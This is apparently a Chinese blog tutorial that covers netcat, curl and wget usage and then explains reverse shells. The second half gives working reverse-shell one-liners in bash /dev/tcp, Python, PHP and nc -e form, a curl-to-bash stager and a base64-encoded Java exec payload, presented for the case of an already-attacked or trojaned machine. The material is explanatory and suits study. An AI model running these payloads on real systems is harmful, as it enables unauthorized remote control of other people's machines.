Reverse shell

Fc04dB Lv4

# 反弹 shell

# 反弹 shell

# linux 环境下常用网络工具

# nc(netcat)

参数说明

nc.exe -h 即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
		nc -l -p port [options] [hostname] [port]
-d          后台模式
-e          程序重定向,一旦连接,就执行 [危险!!]
-g gateway  source-routing hop point[s], up to 8    设置路由器跃程通信网关,最多可设置8个。
-G num      source-routing pointer: 4, 8, 12, ...   设置来源路由指向器,其数值为4的倍数。
-h          帮助信息
-i secs     延时的间隔
-l          监听模式,用于入站连接 (监听本地端口)
-L          连接关闭后,仍然继续监听
-n          指定数字的IP地址,不能用hostname。即直接使用IP地址,而不通过域名服务器。
-o file     指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p port     本地端口号 (指定本地端口 )
-r          随机本地及远程端口
-s addr     本地源地址
-t          使用TELNET交互方式(用telnet来回应 )
-u          UDP模式
-v          详细输出--用两个-v( -vv)可得到更详细的内容. 获得端口信息
-w secs     timeout的时间
-z          将输入输出关掉--只用于扫描. 端口的表示方法可写为M-N的范围格式。

连接远程主机

nc -nvv Target_ip Target_port

监听本地主机

nc -l -p Local_port

端口扫描

nc -v Target_ip Target_port #可指定范围

端口监听

nc -l -p Local_port

远程文件传输

nc Target_ip Target_port < Target_File

模拟 HTTP headers

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]

echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
连接到主机并执行

正向 shell,反向 shell

# curl

HTTP 命令行工具,支持文件的上传和下载,是综合传输工具

发送 GET 请求

curl URL?a=1&b=nihao

发送 POST 请求

curl -X POST -d 'a=1&b=nihao' URL

发送 json 格式请求

curl -H "Content-type: application?json" -X POST -d '{"abc":123."bcd":"nihao"}' URL

curl -H "Content-Type: application/json" -X POST -d @test.json URL

# 1、下载 (option:-o 或者 option:-O)

1.1、下载页面:

curl -o dodo1.jpg http:www.linux.com/dodo1.JPG
# 要注意 - O 这里后面的 url 要具体到某个文件,不然抓不下来
curl -O http://www.linux.com/dodo1.JPG

1.2:循环下载
有时候下载图片可以能是前面的部分名称是一样的,就最后的尾椎名不一样。这样就会把 dodo1,dodo2,dodo3,dodo4,dodo5 全部保存下来
curl -O http://www.linux.com/dodo[1-5].JPG

1.3:下载重命名
在 hello/dodo1.JPG 的文件下载下来就会变成 hello_dodo1.JPG, 其他文件依此类推,从而有效的避免了文件被覆盖
curl -o #1_#2.JPG http://www.linux.com/{hello,bb}/dodo[1-5].JPG

由于下载的 hello 与 bb 中的文件名都是 dodo1,dodo2,dodo3,dodo4,dodo5。因此第二次下载的会把第一次下载的覆盖,这样就需要对文件进行重命名。
curl -O http://www.linux.com/{hello,bb}/dodo[1-5].JPG

1.4:分块下载 (option:-r)

curl -r 0-100 -o dodo1_part1.JPG http://www.linux.com/dodo1.JPG curl -r 100-200 -o dodo1_part2.JPG http://www.linux.com/dodo1.JPG curl -r 200- -o dodo1_part3.JPG http://www.linux.com/dodo1.JPG
cat dodo1_part* > dodo1.JPG

#这样就可以查看 dodo1.JPG 的内容了

1.5:通过 ftp(文件传输协议)下载文件 (option:-u)
curl 可以通过 ftp 下载文件,curl 提供两种从 ftp 中下载的语法
curl -O -u 用户名:密码 ftp://www.linux.com/dodo1.JPG
curl -O ftp://用户名:密码@www.linux.com/dodo1.JPG

1.6: 下载,显示进度条 (option:-#) 或不显示进度条 (option:-s)
curl -# -O http://www.linux.com/dodo1.JPG
curl -s -O http://www.linux.com/dodo1.JPG

1.7、下载,断点续传 (-C )
断点续转,从文件头的指定位置开始继续下载 / 上传;offset 续传开始的位置,如果 offset 值为 “-”,curl 会自动从文件中识别起始位置开始传输;
curl -# -o centos6.8.iso -C - http://mirrors.aliyun.com/centos/6.8/isos/x86_64/CentOS-6.8-x86_64-minimal.iso
curl -C -O http://www.linux.com/dodo1.JPG

# 2、上传文件 (option:-T)

curl -T dodo1.JPG -u 用户名:密码 ftp://www.linux.com/img/

# 3、伪造来源页面 | 伪造 referer | 盗链 (option:-e)

很多服务器会检查 http 访问的 referer 从而来控制访问。比如:你是先访问首页,然后再访问首页中的邮箱页面,这里访问邮箱的 referer 地址就是访问首页成功后的页面地址,如果服务器发现对邮箱页面访问的 referer 地址不是首页的地址,就断定那是个盗连了
#这样就会让服务器其以为你是从 www.linux.com 点击某个链接过来的
curl -e "www.linux.com" http://mail.linux.com
# 告诉爱 E 族,我是从百度来的
curl -e http://baidu.com http://aiezu.com

# 4、伪造代理设备 (模仿浏览器)

有些网站需要使用特定的浏览器去访问他们,有些还需要使用某些特定的版本。curl 内置 option:-A 可以让我们指定浏览器去访问网站
curl -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)" http://www.linux.com
# 告诉爱 E 族,我是 GOOGLE 爬虫蜘蛛(其实我是 curl 命令)
curl -A " Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" http://aiezu.com
# 告诉爱 E 族,我用的是微信内置浏览器
curl -A "Mozilla/5.0 AppleWebKit/600 Mobile MicroMessenger/6.0" http://aiezu.com

# 5、设置 http 请求

5.1、设置 http 请求头 (或 option:-H 或 option:–head)
curl -H "Cache-Control:no-cache" http://aiezu.com

5.2、指定 proxy 服务器以及其端口 (option::-x)
# 很多时候上网需要用到代理服务器 (比如是使用代理服务器上网或者因为使用 curl 别人网站而被别人屏蔽 IP 地址的时候),幸运的是 curl 通过使用内置 option:-x 来支持设置代理
curl -x 192.168.100.100:1080 http://www.linux.com

# 6、http 响应头

6.1、查看 http 响应头 (option:-I)
# 看看本站的 http 头是怎么样的
curl -I http://aiezu.com
输出:
HTTP/1.1 200 OK
Date: Fri, 25 Nov 2016 16:45:49 GMT
Server: Apache
Set-Cookie: rox__Session=abdrt8vesprhnpc3f63p1df7j4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8

6.2、保存 http 的 response 里面的 header 信息 (option:-D)
curl -D cookied.txt http://www.linux.com
执行后 cookie 信息就被存到了 cookied.txt 里面了
注意:-c (小写) 产生的 cookie 和 - D 里面的 cookie 是不一样的。

# 7、发送表单数据

curl -F "pic=@logo.png" -F "site=aiezu" http://aiezu.com/

8.1、发送 cookie (option:-b)
# 有些网站是使用 cookie 来记录 session 信息。对于 chrome 这样的浏览器,可以轻易处理 cookie 信息,但在 curl 中只要增加相关参数也是可以很容易的处理 cookie
curl -b "domain=aiezu.com" http://aiezu.com
# 很多网站都是通过监视你的 cookie 信息来判断你是否按规矩访问他们的网站的,因此我们需要使用保存的 cookie 信息。内置 option: -b
curl -b cookiec.txt http://www.linux.com

8.2、保存 http 的 response 里面的 cookie 信息 (option:-c)
执行后 http 的 response 里面的 cookie 信息就被存到了 cookiec.txt 里面了
curl -c cookiec.txt http://www.linux.com

# wget

wget 是一个下载文件的工具,它用在命令行下。对于 Linux 用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器。

wget URL

# 与 curl 区别

wget 是个专职的下载利器,简单,专一,极致;而 curl 可以下载,但是长项不在于下载,而在于模拟提交 web 数据,POST/GET 请求,调试网页,等等。在下载上,也各有所长,wget 可以递归,支持断点;而 curl 支持 URL 中加入变量,因此可以批量下载。个人用途上,我经常用 wget 来下载文件,加 -c 选项不怕断网;使用 curl 来跟网站的 API 交互,简便清晰。

# ping

ping 命令本身处于应用层,相当于一个应用程序,它直接使用网络层的 ICMP 协议,ping 用来检查网络是否通畅或者网络连接速度的命令。

# talent

telnet 协议是 TCP/IP 协议族的其中之一,是 Internet 远端登录服务的标准协议和主要方式,常用于网页服务器的远端控制,可供使用者在本地主机执行远端主机上的工作。telnet 通常是用来探测指定 ip 是否开放指定端口。

open : 使用 openhostname 可以建立到主机的 Telnet 连接。

close : 使用命令 close 命令可以关闭现有的 Telnet 连接。

display : 使用 display 命令可以查看 Telnet 客户端的当前设置。

send : 使用 send 命令可以向 Telnet 服务器发送命令。支持以下命令:

ao : 放弃输出命令。

ayt : “Are you there” 命令。

esc : 发送当前的转义字符。

ip : 中断进程命令。

synch : 执行 Telnet 同步操作。

brk : 发送信号。quit :使用 quit 命令可以退出 Telnet 客户端。

# ssh

简单来说,ssh 和 telnet 是实现相同的功能,ssh 中 数据是经过加密的,是安全的,而 Telnet 是明文传输的,ssh 是加密的,基于 SSL 。

# 正向 shell 如何连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标 ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。

目标主机: nc -lvp Target_port -e /bin/sh

image.png

本地主机: nc Target_ip Target_port

image.png

# 什么是反弹 shell

参考:https://xz.aliyun.com/t/9488

反弹 shell(reverse shell),就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端与服务端的角色反转。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标 ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web 服务、ssh、telnet 等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2. 目标机器的 ip 动态改变,你不能持续控制。

3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

反弹 shell 的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有 netcat,那我们就可以利用 netcat 反弹 shell,如果具有 python 环境,那我们可以利用 python 反弹 shell。如果具有 php 环境,那我们可以利用 php 反弹 shell。

# 反弹 shell 的方式

# netcat

攻击机开启监听: nc -lvp Target_port

-lvp:l 监听,v 输出交互过程,p 端口

靶机连接攻击机: nc Target_ip Target_port -e /bin/bash

# bash

Bash 反弹 shell 的方法非常好用,题目的服务器环境可能没有 nc, 但是一定会有 bash

同样的我们还是用 nc -lvp Target_Port 在攻击机的端口开启监听

nc -lvp Target_Port

这次我们使用 Bash 结合重定向来反弹 shell

bash -i >& /dev/tcp/Target_ip/Target_port 0>&1

或者 bash -c "bash -i >& /dev/tcp/Target_ip/Target_port 0>&1"

推荐使用后者,使用前者弹 shell, 当命令在服务端 shell 中执行时可能存在 /bin/sh 的软连接并不指向 bash 的问题,导致报错 /bin/sh: 1:Syntax error:Bad fd number

bash -i 产生 bash 交互环境 >& 将联合符号前后内容结合,重定向给后者,/dev/tcp/Target_IP/Target_Port 让目标主机发起与攻击机在 Target_Port 上的 TCP 连接,0>&1 将标准输入和标准输出的内容相结合,重定向给前面标准输出的内容。

Bash 产生了一个交互环境和本地主机主动发起与攻击机端口建立的连接相结合,然后在重定向个 TCP 会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个 Bash 反弹环境。

[关于上述 bash 命令的详细解释](反弹 bash shell 命令详解 - pandaes - 博客园 (cnblogs.com) )

# Pythion 反弹 shell

同样的我们还是在攻击机开始端口监听, nc -lvp Target_Port

在靶机上执行 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Target_IP",Target_Port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# curl 反弹 shell

简单来说就是将 Bash 重定向这一句内容写入文件,让靶机用 curl 下载这个文件并且执行,达到用 Bash 重定向相同的效果

首先,在攻击者 vps 的 web 目录里面创建一个 index 文件(index.php 或 index.html),内容如下:

bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1 或者 bash -c "bash -i >& /dev/tcp/Target_IP/Target_Port 0>&1" ,而 java 的 RCE 需要用 base64 编码,Payload: Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

然后在目标机上执行如下,即可反弹 shell

curl Target_IP|bash

# php 反弹 shell

攻击机: nc -nvlp Target_port

靶机: php -r '$sock=fsockopen("192.168.37.131",1234); exec("/bin/sh -i <&3 >&3 2>&3");

# Others

反弹 shell 的方式很多,nc 和 bash 是比较常见的方式,其他还有 Telnet,Socat 等工具可以反弹 shell,或者写个 python,php 等脚本也可以反弹 shell,比较琐碎的内容具体遇到了再查即可。

————END————

  • Title: Reverse shell
  • Author: Fc04dB
  • Created at : 2024-04-09 12:29:05
  • Updated at : 2024-08-28 14:47:17
  • Link: https://redefine.ohevan.com/2024/04/09/Reverse-shell/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments